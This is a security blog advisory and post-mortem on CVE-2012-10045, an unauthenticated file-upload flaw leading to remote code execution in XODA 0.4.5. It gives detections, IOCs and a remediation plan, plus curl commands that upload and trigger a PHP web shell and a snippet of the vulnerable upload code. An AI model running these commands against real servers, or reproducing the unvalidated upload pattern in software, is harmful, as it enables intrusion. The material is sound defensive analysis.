CVE-2012-10045 — XODA Unauthenticated File-Upload RCE (PostMortem)

CYBERDUDEBIVASH

Author: CyberDudeBivash
Powered by: CyberDudeBivash Brand | cyberdudebivash.com
Related:cyberbivash.blogspot.com

Published by CyberDudeBivash • Date: Nov 3, 2025 (IST)

CVE-2012-10045 — XODA Unauthenticated File-Upload RCE (PostMortem)

XODA Document Management System 0.4.5 exposes an unauthenticated arbitrary file-upload endpoint that allows uploading of PHP files into a web-accessible directory and results in remote code execution. Proof-of-concept modules and public exploits (Exploit-DB / Metasploit) have existed since 2012 and have been weaponized by scanning campaigns. Treat any legacy XODA installs as immediately at-risk.CyberDudeBivash Ecosystem:Apps & Services · CyberBivash (Threat Intel) · CryptoBivash · News Portal · Subscribe: ThreatWire

TL;DR

  • CVE-2012-10045 (XODA 0.4.5) — unauthenticated arbitrary file upload → remote PHP execution (SYSTEM/web-user). 
  • Exploit availability: Public PoCs / Metasploit/Exploit-DB modules exist and were weaponized — mass scanning campaigns observed historically.
  • Immediate action: Remove or isolate XODA 0.4.5 instances, restrict web access to management panels, and remove web-writable upload paths until patched/retired. 

Contents

  1. 1) Context & Affected Versions
  2. 2) Lab / Environment Setup
  3. 3) Reproduction — Request → Response
  4. 4) Payloads & PoC
  5. 5) Root Cause & Attack Surface
  6. 6) Detections & Hunt Queries
  7. 7) Mitigations & Hardening
  8. 8) IOCs & Artifacts
  9. 9) 30–60–90 Day Program
  10. FAQ
  11. References

1) Context & Affected Versions

Product: XODA Document Management System • Affected: 0.4.5 (and likely earlier unpatched installs) • Component: file upload endpoint that writes uploaded files under web-accessible files/ directory.

Pre-auth? Yes (unauthenticated upload). • Impact: arbitrary PHP file upload → remote code execution as webserver user. • Bug class: Unrestricted file upload / insufficient validation (CWE-434 / CWE-20).

2) Lab / Environment Setup

  • Target: XODA 0.4.5 on Ubuntu 10.04 / Apache + PHP (legacy LAMP stack)
  • Attacker: Kali / Metasploit / curl / custom multipart POST
  • Network/Svc: HTTP port 80 (upload endpoint typically /index.php?cmd=upload or web UI upload forms); uploaded files land in /files/.
# Quick reproducible lab (example)
# - Deploy an old XODA 0.4.5 instance in a sandbox
docker run -d --name xoda -p 8080:80 your/xoda-0.4.5-image

3) Reproduction — Request → Response

Attackers abuse the upload HTTP handler to send a multipart/form-data POST containing a shell.php file. The server accepts and saves the file under /files/shell.php; a subsequent GET executes the PHP. This sequence is trivial to automate and was packaged into public exploit modules. 

# Example curl PoC (lab only)
curl -v -F "file=@shell.php;type=application/octet-stream" "http://TARGET/index.php?cmd=upload"
# If successful, attacker can then trigger:
curl "http://TARGET/files/shell.php?cmd=id"

4) Payloads & PoC

4.1 Minimal PoC (shell.php)





Explanation: Uploading the above file and invoking via HTTP executes arbitrary shell commands as the web server user.

4.2 Metasploit / Rapid7 Module

Metasploit / Rapid7 long-standing modules automate discovering the upload endpoint and POSTing a PHP web shell — widely available in public exploit repos since 2012. Use these modules for lab reproduction only.

5) Root Cause & Attack Surface

  • Upload handler fails to validate filename, file extension, MIME type or content — allowing .php files to be stored under a web-served directory.
  • No server-side whitelist or file-type checking; insufficient content scanning or sanitization.
  • Default or weak permissions on the upload directory allow remote access/execution of uploaded artifacts.
# Representative risky PHP pseudo-code (simplified)
$target = "files/".basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $target);
# no validation -> attacker can upload shell.php

6) Detections & Hunt Queries

Network / WAF Rule (HTTP)

# Generic WAF rule idea: block multipart uploads with .php filename to files/ directory
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data" "phase:2,deny,log,msg:'Possible XODA PHP upload attempt'"
SecRule REQUEST_FILENAME "@contains /index.php?cmd=upload" "phase:2,deny,log"

SIEM / Webserver Log Hunt (pseudocode)

# Apache access log: POST to upload endpoint followed by GET to /files/*.php
ApacheAccess
| where cs_method == "POST" and cs_uri_startswith("/index.php") and cs_uri contains "upload"
| join kind=leftouter (
  ApacheAccess | where cs_uri matches regex "/files/.*\.php"
) on ClientIP
| project ClientIP, TimeGenerated, cs_uri

IPS / Signature

Juniper/other IPS signatures detect XODA upload attempts — check IPS/NGFW logs for “XODA-FILE-UPLOAD” events and block offending IPs. 

7) Mitigations & Hardening

  1. Immediate: Isolate or take offline any XODA 0.4.5 instances; block HTTP/HTTPS to those hosts from the internet; remove the upload handler if possible. (High urgency.)
  2. Short term: Remove execute permissions on the upload directory, disallow execution (e.g., Apache Options -ExecCGI and php_admin_flag engine Off for /files). Replace or patch the application.
  3. Patch/Replace: Upgrade to a patched vendor release if available, or migrate to a supported document management system. If vendor EOL, plan migration immediately.
  4. WAF / IPS: Enforce WAF rules to block suspicious multipart uploads, and deploy IPS signatures that identify the XODA exploit attempt.
  5. Hygiene: Audit webserver uploads across estate, rotate credentials, scan for webshells and unknown files under webroot, and review logs for suspicious POST→GET patterns.

8) IOCs & Artifacts

TypeIndicator / PatternNotes
HTTP POSTPOST /index.php?cmd=upload (multipart/form-data)Followed by GET /files/*.php
Webshell filename/files/shell.php, /files/up.php, /files/shellx.phpSearch for PHP files in upload dirs
LogsApache access log: POST then immediate GET to uploaded PHPCorrelate client IPs and user agents
IPS SignatureHTTP:PHP:XODA-FILE-UPLOADCheck NGFW/IPS logs for matches. 

9) 30–60–90 Day Program

Day 0–30 — Contain

  • Take affected XODA hosts offline or block external HTTP(S) access immediately.
  • Search webroot(s) for unexpected PHP files; remove webshells and collect artifacts for IR.
  • Deploy WAF rules to block file upload attempts; enable IPS signature for XODA exploit. 

Day 31–60 — Harden

  • Remove PHP execution from upload directories (webserver config); harden file permissions and isolate upload storage.
  • Migrate to maintained DMS software or upstream patched versions; restrict admin interfaces to VPN/management networks.
  • Roll out scanning & baselining for webroots (scheduled checks for new PHP files in upload areas).

Day 61–90 — Assure

  • Retrospective IR: analyze logs for lateral movement, data exfiltration, or persistence left by attackers.
  • Audit third-party apps across estate for similar file-upload weaknesses; add to procurement security gates.
  • Report KPIs to leadership: #sites remediated, % webroots scanned, mean time to detect webshells.

FAQ

Is this still relevant in 2025?

Yes. Even older exploits remain relevant when legacy or abandoned services remain internet-exposed. Public PoCs and exploit modules remain online (Exploit-DB / Metasploit / Rapid7), so the risk is immediate for any unpatched XODA instances. 

How can I quickly check my estate?

Scan for HTTP endpoints exposing XODA patterns (common upload URLs), search webroots for newly added PHP files in upload directories, and check NGFW/IPS logs for “XODA-FILE-UPLOAD” signatures. 

References

  • NVD / CVE-2012-10045 — vulnerability detail & description. 
  • Exploit-DB: XODA 0.4.5 — Arbitrary File Upload (EDB-ID: 20703 / 20713). 
  • Rapid7 / Metasploit module — XODA file upload exploit module (module details & authors). 
  • VulnCheck advisory summary — cross references and CVSS assessment. 
  • Juniper IPS signature (HTTP:PHP:XODA-FILE-UPLOAD) — detection signature details. 

CyberDudeBivash — Services, Apps & Ecosystem

  • Exploit Reproduction & Patch Validation — lab build, PoC reproduction, mitigations/WAF rules
  • Detection Engineering — SIEM content, EDR rules, webroot scanning, IPS tuning
  • Secure SDLC & Third-Party Review — vendor risk, SBOM, procurement gates

Apps & Products · Consulting & Services · ThreatWire Newsletter · CyberBivash (Threat Intel) · News Portal · CryptoBivash

Edureka: AppSec & Exploit DevKaspersky: EDR/XDRAliExpress WWAlibaba WW

Ecosystem: cyberdudebivash.com | cyberbivash.blogspot.com | cryptobivash.code.blog | cyberdudebivash-news.blogspot.com

Author: CyberDudeBivash • Powered by CyberDudeBivash • © 2025

#CyberDudeBivash #XODA #CVE201210045 #FileUploadRCE #WebShell #ThreatWire #AppSec

Leave a comment

Design a site like this with WordPress.com
Get started